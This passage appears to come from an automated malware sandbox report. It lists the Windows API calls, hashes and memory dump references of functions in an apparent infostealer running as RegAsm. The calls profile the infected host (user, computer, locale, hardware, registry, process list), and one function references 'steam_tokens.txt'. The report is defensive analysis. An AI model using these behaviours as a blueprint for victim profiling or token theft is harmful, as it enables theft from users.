Function 00419470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
CloseHandle.KERNEL32(00000000), ref: 004194AF

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction ID: 2eda5d4ec063f04fe8048fb8b0a850fc323e1bbd58c3ab932ea79d0f281d5f74
Opcode Fuzzy Hash: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction Fuzzy Hash: BEF03A7994020CFBDB15DFA4DC4AFEA7778EB08310F004498BA1997290D6B4AE85CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 00411A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00417500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
Part of subcall function 00417500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
Part of subcall function 00417500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
Part of subcall function 00417500: HeapAlloc.KERNEL32(00000000), ref: 0041760A

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 004176AB

Part of subcall function 004177C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,01191228,00000000,?), ref: 004177F2
Part of subcall function 004177C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,01191228,00000000,?), ref: 004177F9

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
Part of subcall function 00417980: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
Part of subcall function 00417980: GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
Part of subcall function 00417980: wsprintfA.USER32 ref: 004179F3

Part of subcall function 00417A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01191AD8,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
Part of subcall function 00417A30: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01191AD8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
Part of subcall function 00417A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01191AD8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D

Part of subcall function 00417B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,01191AD8,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417B35

Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
Part of subcall function 00417B90: LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
Part of subcall function 00417B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
Part of subcall function 00417B90: LocalFree.KERNEL32(00000000), ref: 00417D22

Part of subcall function 00417D80: GetSystemPowerStatus.KERNEL32(?), ref: 00417DAD

GetCurrentProcessId.KERNEL32(00000000,?,01191248,00000000,?,00420E24,00000000,?,00000000,00000000,?,01191D00,00000000,?,00420E20,00000000), ref: 0041207E

Part of subcall function 00419470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
Part of subcall function 00419470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
Part of subcall function 00419470: CloseHandle.KERNEL32(00000000), ref: 004194AF

Part of subcall function 00417E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
Part of subcall function 00417E00: HeapAlloc.KERNEL32(00000000), ref: 00417E3E
Part of subcall function 00417E00: RegOpenKeyExA.KERNEL32(80000002,0118B4B8,00000000,00020119,?), ref: 00417E5E
Part of subcall function 00417E00: RegQueryValueExA.KERNEL32(?,011911C8,00000000,00000000,000000FF,000000FF), ref: 00417E7F

Part of subcall function 00417F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417FC9
Part of subcall function 00417F60: GetLastError.KERNEL32 ref: 00417FD8

Part of subcall function 00417ED0: GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
Part of subcall function 00417ED0: wsprintfA.USER32 ref: 00417F16

Part of subcall function 00418100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01191CD0,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
Part of subcall function 00418100: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01191CD0,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
Part of subcall function 00418100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418172
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418180
Part of subcall function 00418100: wsprintfA.USER32 ref: 004181AC

Part of subcall function 004187C0: CreateDCA.GDI32(0118A9F8,00000000,00000000,00000000), ref: 004187F5
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,00000008), ref: 00418804
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,0000000A), ref: 00418813
Part of subcall function 004187C0: ReleaseDC.USER32(00000000,?), ref: 00418822
Part of subcall function 004187C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
Part of subcall function 004187C0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
Part of subcall function 004187C0: wsprintfA.USER32 ref: 00418850

Part of subcall function 004181F0: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00418254

Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,01186498,00000000,00020019,00000000,004205B6), ref: 004183A4

Part of subcall function 00418320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
Part of subcall function 00418320: wsprintfA.USER32 ref: 00418459
Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B

Part of subcall function 00418680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Part of subcall function 00418680: Process32First.KERNEL32(?,00000128), ref: 004186DE
Part of subcall function 00418680: Process32Next.KERNEL32(?,00000128), ref: 004186F3
Part of subcall function 00418680: CloseHandle.KERNEL32(?), ref: 00418761

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041265B

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$NameOpenlstrcpy$InformationLocal$CapsCloseCreateCurrentDeviceEnumHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerDefaultDevicesDirectoryDisplayErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 2168326814-0
Opcode ID: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction ID: 920ebc2bd1264ef58e9e042ab956aee0a7d7d625442637cc145e34ec31588ac2
Opcode Fuzzy Hash: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction Fuzzy Hash: CA72A172C11018AADB19FB91DD92EEEB33CAF14314F50469FB11662051EF342BDACB69

Function 00415100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0118AA18,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(00000000,00000000,00420ACA,?,?,?,?,?,?,0041610B,?), ref: 0041512A

Strings

steam_tokens.txt, xrefs: 0041513F

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction ID: 0b443913f8ff21268bbca5da4ddd77cab48c5630089faae76e13a1e44d6df956
Opcode Fuzzy Hash: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction Fuzzy Hash: E4F06D3194110866CB04F7B2EC539ED733C9F50358F80416EB413620D2EF3C675AC6AA

Function 00417ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
wsprintfA.USER32 ref: 00417F16

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction ID: 2fbe6902627a031950d7a3fa851ef95510e90209490a35db063d7eb50f57f6da
Opcode Fuzzy Hash: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction Fuzzy Hash: 53F0F6B5A44218FBC710CF84DC45FEAF7BCF744710F50066AF50592280D37929408BD5

Function 0040B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040B9C2
lstrlenA.KERNEL32(00000000), ref: 0040B9D6

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction ID: 4e9d2fdd6b59a5819e0b0cc177d60c70936eaf215788bcf9b06e28604354d71c
Opcode Fuzzy Hash: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction Fuzzy Hash: EEE133729111189BDB04FBA1CD92EEE7339AF14314F40456EF50672091EF386B9ACB7A

Function 0040AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B16A
lstrlenA.KERNEL32(00000000), ref: 0040B17E

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction ID: e0be25968149aafb42a348446a4bf8d1b8c1be94a7ef2c7b8365e7541d0fe6a1
Opcode Fuzzy Hash: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction Fuzzy Hash: D9916571911108ABDB04FBE1DD52EEE7339AF14314F40452EF507A6091EF386A99CBBA

Function 0040B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B42E
lstrlenA.KERNEL32(00000000), ref: 0040B442

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

